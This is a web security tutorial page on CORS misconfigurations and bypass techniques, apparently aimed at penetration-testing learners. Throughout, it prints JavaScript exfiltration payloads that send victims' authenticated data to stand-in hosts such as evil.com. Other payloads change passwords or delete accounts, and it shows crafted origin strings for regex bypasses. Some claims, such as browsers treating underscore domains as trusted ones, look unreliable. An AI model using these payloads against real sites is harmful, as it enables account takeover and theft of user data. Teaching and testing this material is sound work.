CORS - Misconfigurations & Bypass
Become VeryLazyTech member! π
Follow us on:
β Twitter @VeryLazyTech.
πΎ Github @VeryLazyTech.
π Medium @VeryLazyTech.
πΊ YouTube @VeryLazyTech.
π© Telegram @VeryLazyTech.
π΅οΈββοΈ My Site @VeryLazyTech.
Visit our shop for e-books and courses. π
Understanding CORS (Cross-Origin Resource Sharing)
Cross-Origin Resource Sharing (CORS) is a crucial security feature implemented by web browsers to prevent unauthorized access to resources from different origins. It acts as a safeguard against cross-origin attacks, ensuring that scripts loaded from one domain cannot interact with resources hosted on another unless explicitly allowed by the server.
While CORS is intended to enhance security, misconfigurations can introduce severe vulnerabilities, allowing attackers to bypass restrictions and potentially exploit sensitive data. This article explores common CORS misconfigurations, their impact, and various bypass techniques that attackers leverage.
What is CORS?
Cross-Origin Resource Sharing (CORS) standard enables servers to define who can access their assets and which HTTP request methods are permitted from external sources.
A same-origin policy mandates that a server requesting a resource and the server hosting the resource share the same protocol (e.g., http://
), domain name (e.g., internal-web.com
), and port (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.
The application of the same-origin policy in the context of http://normal-website.com/example/example.html
is illustrated as follows:
http://normal-website.com/example/
Yes: Identical scheme, domain, and port
http://normal-website.com/example2/
Yes: Identical scheme, domain, and port
https://normal-website.com/example/
No: Different scheme and port
http://en.normal-website.com/example/
No: Different domain
http://www.normal-website.com/example/
No: Different domain
http://normal-website.com:8080/example/
No: Different port*
*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.
Common CORS Misconfigurations
1. Allowing Any Origin (Access-Control-Allow-Origin: *
)
Access-Control-Allow-Origin: *
)This header can allow multiple origins, a null
value, or a wildcard *
. However, no browser supports multiple origins, and the use of the wildcard *
is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true
is not permitted.)
This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin
header.
One of the most frequent mistakes is configuring the server to accept requests from any origin by setting:
Access-Control-Allow-Origin: *
This setting allows any website to send requests and receive responses, effectively removing the same-origin policy and exposing sensitive API endpoints to attackers.
2. Reflecting User-Provided Origin
Some implementations dynamically set the Access-Control-Allow-Origin
header to match the requestβs Origin
, as seen in the following example:
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
If the application fails to validate trusted origins, attackers can manipulate this behavior by sending requests from a malicious domain, gaining access to sensitive information.
Exploitation ScenarioAttackerβs Malicious Website
An attacker hosts a malicious website (
https://evil.com
) and lures a victim into visiting it.Crafting a Malicious Fetch Request
The attacker embeds the following JavaScript code in their site:
fetch("https://vulnerable.com/api/userinfo", { method: "GET", credentials: "include", headers: { "Origin": "https://evil.com" } }) .then(response => response.text()) .then(data => { fetch("https://evil.com/steal?data=" + encodeURIComponent(data)); });
What Happens?
The victim, while logged into
https://vulnerable.com
, visitshttps://evil.com
.The malicious script sends a request to
https://vulnerable.com/api/userinfo
with the attacker's origin (https://evil.com
).Since the server reflects the
Origin
value (https://evil.com
), the response includes:Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
The victimβs browser sees that the response is allowed and exposes the sensitive data to
https://evil.com
.The script extracts and exfiltrates the data to the attackerβs server.
3. Allowing Credentials with a Wildcard Origin
The Access-Control-Allow-Credentials: true
directive permits the browser to send authenticated requests, such as those containing cookies or authorization headers. However, this should never be combined with a wildcard Access-Control-Allow-Origin: *
, as browsers will block such responses.
Example of insecure configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
This misconfiguration can allow cross-site request forgery (CSRF) and session hijacking attacks.
By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials
header to true
.
If set to true
, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
4. Misconfigured Allowed Methods
If an API mistakenly allows methods like PUT
, DELETE
, or OPTIONS
for untrusted origins, it may enable attackers to modify or delete sensitive data.
Example:
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Exploitation Scenario
Attackerβs Malicious WebsiteAn attacker sets up a malicious website,
https://evil.com
, and lures a victim into visiting it.
Crafting a Malicious RequestThe attacker creates the following JavaScript code to modify or delete data:
Scenario 1: Unauthorized Data Modification (PUT Request)
fetch("https://vulnerable.com/api/user/123", { method: "PUT", credentials: "include", headers: { "Content-Type": "application/json", "Origin": "https://evil.com" }, body: JSON.stringify({ "username": "hacked", "email": "attacker@evil.com" }) });
π‘ Impact: Changes the victimβs profile information without their consent.
Scenario 2: Unauthorized Data Deletion (DELETE Request)
fetch("https://vulnerable.com/api/user/123", { method: "DELETE", credentials: "include", headers: { "Origin": "https://evil.com" } });
π‘ Impact: Deletes the victimβs account or other critical data.
Scenario 3: Extracting Data via OPTIONS Method
Some APIs expose internal endpoints via
OPTIONS
requests, allowing attackers to reconnaissance API behavior:fetch("https://vulnerable.com/api/secret-data", { method: "OPTIONS", credentials: "include", headers: { "Origin": "https://evil.com" } }) .then(response => response.text()) .then(data => console.log(data));
π‘ Impact: Reveals information about supported methods and security policies, helping attackers craft further exploits.
5. Overly Permissive Allowed Headers
Allowing arbitrary headers with Access-Control-Allow-Headers: *
can lead to data exfiltration or improper exposure of internal server logic.
How It Works
When Access-Control-Allow-Headers: *
is set, the server accepts any headers sent by the client. This can lead to:
Exfiltration of sensitive data (e.g., Authorization tokens, API keys).
Bypassing security mechanisms that rely on custom headers.
Manipulation of request behavior by injecting unexpected headers.
Exploitation Scenarios
Extracting Sensitive Authentication DataIf an API expects an
Authorization
header but does not restrict which headers can be included in CORS requests, an attacker can trick a victim into sending their authentication token to a malicious site.Malicious JavaScript Code:
fetch("https://vulnerable.com/api/secret", { method: "GET", credentials: "include", headers: { "Origin": "https://evil.com", "Authorization": "Bearer stolen-token" } }) .then(response => response.text()) .then(data => { fetch("https://evil.com/steal?data=" + encodeURIComponent(data)); });
π‘ Impact:
If the API trusts the
Authorization
header, the attacker can impersonate the victim and access their account.The attacker's website (
https://evil.com
) receives the extracted sensitive data.
Sending Unauthorized Requests with Custom HeadersSome APIs rely on specific security headers to verify requests. If the server allows arbitrary headers, an attacker can bypass these restrictions.
Exploitation Example (Bypassing API Security Checks):
fetch("https://vulnerable.com/api/admin", { method: "POST", credentials: "include", headers: { "Origin": "https://evil.com", "X-Admin-Access": "true" } });
π‘ Impact:
If the API uses
X-Admin-Access
for admin verification, the attacker might gain unauthorized privileges.
Leaking Internal Server InformationSome applications log or return request headers for debugging. If an attacker can inject arbitrary headers, they might expose internal server logic.
Example: Forcing an Error Response to Leak Data
fetch("https://vulnerable.com/api/debug", { method: "GET", headers: { "Origin": "https://evil.com", "X-Debug-Info": "true" } });
π‘ Impact:
If the server includes
X-Debug-Info
in responses, it might leak database queries, stack traces, or sensitive configurations.
6. Abusing JSONP Endpoints
Some legacy applications still use JSONP (JSON with Padding), which bypasses CORS by embedding responses within a JavaScript function. Attackers can exploit JSONP endpoints to steal data using a crafted script.
How JSONP Works
A JSONP-enabled API endpoint responds with JSON data wrapped inside a callback function. Example:
Victimβs API (JSONP Endpoint)
https://vulnerable.com/api/userinfo?callback=myFunction
Server Response:
myFunction({"username":"victimUser", "email":"victim@example.com"});
The browser executes the response as JavaScript, calling the attacker-specified function (
myFunction
).If no origin validation exists, an attacker can steal sensitive data by controlling the
callback
parameter.
Exploitation Scenario
Attackerβs Malicious WebsiteAn attacker tricks a victim into visiting
https://evil.com
and injects a malicious<script>
tag:Malicious JavaScript Code (Exfiltration)
<script> function stealData(data) { fetch("https://evil.com/steal?data=" + encodeURIComponent(JSON.stringify(data))); } var script = document.createElement("script"); script.src = "https://vulnerable.com/api/userinfo?callback=stealData"; document.body.appendChild(script); </script>
π‘ Impact:
The victimβs browser requests their personal data from
https://vulnerable.com/api/userinfo
.The API blindly returns JSONP-wrapped data to the attackerβs function (
stealData
).The attackerβs script steals the victimβs personal details (e.g., username, email) and sends them to
https://evil.com
.
Exploitation Scenario #2
Extracting Sensitive Authenticated DataIf JSONP endpoints return private user data while the victim is logged in, an attacker can steal it using:
<script> function exfiltrate(data) { new Image().src = "https://evil.com/log?info=" + btoa(JSON.stringify(data)); } var script = document.createElement("script"); script.src = "https://vulnerable.com/api/account_details?callback=exfiltrate"; document.body.appendChild(script); </script>
π‘ Impact:
Extracts the victimβs account details, balance, or private messages.
Exploitation Scenario #3
Bypassing Security with Wildcard CallbacksSome JSONP endpoints allow arbitrary function names, enabling JavaScript injection:
<script> var script = document.createElement("script"); script.src = "https://vulnerable.com/api/endpoint?callback=alert(document.cookie)"; document.body.appendChild(script); </script>
π‘ Impact:
If the API does not sanitize function names, an attacker might trigger XSS (Cross-Site Scripting).
7. Subdomain Takeover to Exploit CORS Trust Relationships
Many organizations configure CORS policies to allow requests from specific subdomains (e.g., api.example.com
). If an attacker takes over a forgotten or expired subdomain, they can execute malicious cross-origin requests on behalf of legitimate users, leading to account takeovers, data theft, or API abuse.
How the Exploit Works
Misconfigured CORS Policy: The main domain (
example.com
) allows requests from any subdomain using a wildcard (*.example.com
):Access-Control-Allow-Origin: *.example.com Access-Control-Allow-Credentials: true
This means any subdomain under
example.com
is trusted to make CORS requests.Abandoned or Expired Subdomain:
Some companies forget to renew subdomains, leaving them open for takeover.
Unused subdomains pointing to decommissioned services (e.g., old AWS buckets, GitHub Pages, Heroku apps) can be reclaimed by attackers.
Attacker Registers the Subdomain:
The attacker finds an expired or misconfigured subdomain (
forgotten.example.com
).Registers it and hosts a malicious script.
Victim Visits the Malicious Subdomain:
The victim, logged into
example.com
, visits the attacker's site (forgotten.example.com
).The attacker's script sends authenticated requests to the vulnerable API.
Exploitation Scenario: Stealing Sensitive User Data
1. Attacker Identifies a Vulnerable SubdomainThe attacker finds that
old-api.example.com
is no longer in use. Using tools like:
dig
ornslookup
to check for unregistered domains.
Subfinder
orAmass
to find abandoned subdomains.
CNAME
misconfigurations (e.g., pointing to expired AWS, Heroku, or Azure services).If the subdomain is available, the attacker registers it and hosts a malicious script.
2. Attackerβs Malicious JavaScriptThe attacker creates a script on the compromised subdomain (
forgotten.example.com
):fetch("https://api.example.com/userinfo", { method: "GET", credentials: "include", headers: { "Origin": "https://forgotten.example.com" } }) .then(response => response.json()) .then(data => { fetch("https://evil.com/steal?data=" + encodeURIComponent(JSON.stringify(data))); });
π‘ What Happens?
The victimβs browser includes their session cookies when making the request.
Since
*.example.com
is trusted, the API responds with sensitive user data.The attacker's script steals the response and sends it to
evil.com
.
3. Exploiting API Write PermissionsIf the vulnerable API allows data modifications (
POST
,PUT
,DELETE
), the attacker can modify or delete user data.fetch("https://api.example.com/update-profile", { method: "POST", credentials: "include", headers: { "Origin": "https://forgotten.example.com", "Content-Type": "application/json" }, body: JSON.stringify({ "email": "attacker@evil.com", "password": "hacked123" }) });
π‘ Impact:
The attacker can change the victimβs email and password, taking over their account.
CSRF Pre-Flight Requests in CORS
Cross-Site Request Forgery (CSRF) attacks exploit a user's authenticated session to execute unauthorized actions on a web application. When combined with CORS misconfigurations, attackers can bypass security restrictions and execute cross-origin requests with the victimβs credentials.
Pre-flight requests, which use the OPTIONS
method, serve as a security check before executing certain cross-origin requests. However, misconfigured CORS policies can allow attackers to abuse pre-flight requests to send unauthorized POST, PUT, or DELETE requests, leading to account takeovers, data theft, or system modifications.
Understanding CSRF with Pre-Flight Requests
A pre-flight request occurs when a cross-origin request includes:
β
Non-simple HTTP methods (PUT
, DELETE
, PATCH
)
β
Custom headers (e.g., Authorization
, X-Requested-With
)
β
Non-standard Content-Types (application/json
, text/xml
)
Example of a Pre-Flight Request
OPTIONS /update-password HTTP/1.1
Host: vulnerable.com
Origin: https://attacker.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization
Example of a Misconfigured Server Response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
π΄ Security Issue:
The server trusts any specified origin (
https://attacker.com
).Sensitive methods (
PUT
,DELETE
) are allowed.Credentials (
cookies, session tokens
) are sent.No CSRF protection is in place.
Exploitation Scenario: Unauthorized Account Takeover
Victim Visits a Malicious WebsiteThe attacker tricks the victim into visiting
https://evil.com
.
Attackerβs JavaScript ExecutesThe attacker's script sends a pre-flight request, and if the server allows it, executes a malicious account takeover request:
<script> fetch("https://vulnerable.com/update-password", { method: "PUT", credentials: "include", headers: { "Origin": "https://evil.com", "Authorization": "Bearer stolen_token", "Content-Type": "application/json" }, body: JSON.stringify({ "new_password": "hacked123" }) }); </script>
The Server Accepts the RequestSince the serverβs CORS policy is misconfigured, the request: β Uses the victimβs active session (via
credentials: include
) β Bypasses CSRF protections if they rely only on theOrigin
check β Changes the victimβs password without their knowledgeπ΄ Impact:
The attacker resets the victimβs password and locks them out.
The attacker can also modify user details, steal API keys, or delete accounts.
Exploitation Scenario #2
Stealing Data via CORS Policy LoopholesIf the server allows arbitrary headers (
Access-Control-Allow-Headers: *
), attackers can send custom requests to extract sensitive data:fetch("https://vulnerable.com/userinfo", { method: "GET", credentials: "include", headers: { "Origin": "https://evil.com", "X-Custom-Header": "exploit" } }) .then(response => response.json()) .then(data => { fetch("https://evil.com/steal?data=" + encodeURIComponent(JSON.stringify(data))); });
π‘ Impact: Extracts usernames, emails, session tokens, or private API keys.
Exploitation Scenario #3
Exploiting Local Network Access via Pre-Flight RequestsSome servers trust requests from a local network (
192.168.1.1
or127.0.0.1
), allowing attackers to bypass authentication by exploiting CORS Local-Network Access:Pre-Flight Request from Attackerβs Site
OPTIONS /admin HTTP/1.1 Host: router.local Origin: https://evil.com Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization
Server Responds Permissively
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Credentials: true Access-Control-Allow-Local-Network: true
Attacker Accesses Internal Admin Panels
fetch("http://router.local/admin", { method: "GET", credentials: "include" }) .then(response => response.text()) .then(data => { fetch("https://evil.com/steal?data=" + btoa(data)); });
π‘ Impact: The attacker can steal router credentials, modify network settings, or exfiltrate internal network data.
Regular Expression Bypass Techniques in CORS Validation
When developers whitelist domains for Cross-Origin Resource Sharing (CORS), they often rely on regular expressions (regex) to validate incoming requests. However, regex-based domain filtering can be tricked using edge-case characters, misinterpretations of domain structures, or browser-specific quirks. These bypass techniques allow attackers to:
Send unauthorized cross-origin requests
Steal sensitive user data (tokens, API responses)
Bypass security restrictions using manipulated URLs
Understanding Common Regex Bypass Issues
Developers might define a CORS whitelist using insecure regex patterns such as:
if (preg_match("/^https:\/\/.*trusted\.com$/", $_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}
π‘ Potential Problems:
1οΈβ£ Subdomain Injection: Some regex patterns may match https://attack.trusted.com.evil.com
2οΈβ£ Misinterpreted Characters: Browsers and regex engines handle _
(underscores) differently.
3οΈβ£ Unexpected URL Encodings: Alternative encodings can confuse validation logic.
Exploitation Techniques for Regex-Based CORS Bypasses
Subdomain Injection: Exploiting Poor Regex Matching
Weak Regex Pattern:
/^https:\/\/.*trusted\.com$/
β
Expected: https://api.trusted.com
β Exploitable: https://api.trusted.com.evil.com
Bypassing the Whitelist
If a regex incorrectly matches any domain ending in trusted.com
, an attacker can craft a malicious origin:
Origin: https://api.trusted.com.evil.com
Since evil.com
controls this subdomain, CORS headers will allow data to be stolen.
Underscore Injection: Exploiting Browser Regex Handling
Many browsers treat underscore characters (_
) differently in subdomains:
β
Safari, Chrome, and Firefox ignore _
in certain cases
β Some regex filters fail to block domains containing _
Example regex filter (Incorrectly implemented):
/^https:\/\/[\w.-]+\.trusted\.com$/
π‘ Potential Bypass: The attacker registers a domain like:
attacker_trusted.com
Browsers might treat
attacker_trusted.com
astrusted.com
.Regex filters might fail to block it, allowing CORS access.
URL Encoding & Alternative Notations
Some filters fail to handle encoded characters correctly:
Origin: https://trusted.com%00.evil.com
π‘ Impact:
%00
is null byte encoding, which some regex engines stop processing after.If the server only checks the first part (
trusted.com%00
), it may incorrectly allow access.
Exploiting IPv6 & Mixed Formats
Some regex patterns fail to account for IPv6 or mixed numeric representations:
IPv6 Shortened Format:
https://[::1].trusted.com
Dotted Octal Format:
https://0177.0.0.1.trusted.com
Dotted Hexadecimal Format:
https://0x7f.0x00.0x00.0x01.trusted.com
π‘ Attack Strategy: If the regex doesn't normalize domain resolution, an attacker could masquerade as a trusted domain.
Scenario: Regex Vulnerability Leads to Data Theft
π‘ Setup: A web app allows CORS requests from trusted domains using:
if (preg_match("/^https:\/\/.*\.trusted\.com$/", $_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}
π‘ Problem:
This regex allows any subdomain containing trusted.com
.
Attacker Registers a Malicious Domain
The attacker registers:
attacker-trusted.com
π‘ Exploitation: The attacker tricks the regex into whitelisting their domain by sending:
Origin: https://attacker-trusted.com
The server responds with:
Access-Control-Allow-Origin: https://attacker-trusted.com
Now, the attackerβs website can send requests on behalf of victims.
Extracting Data via JavaScript
The attacker creates a malicious webpage:
<script>
fetch("https://vulnerable.com/userinfo", {
method: "GET",
credentials: "include"
})
.then(response => response.json())
.then(data => {
fetch("https://attacker-trusted.com/steal?data=" + encodeURIComponent(JSON.stringify(data)));
});
</script>
π‘ Impact: β Victimβs sensitive data (session tokens, API keys, user info) is stolen β The attacker can impersonate the victimβs account
Tools
Fuzz possible misconfigurations in CORS policies
Learn & practice For the OSCP.
Last updated
Was this helpful?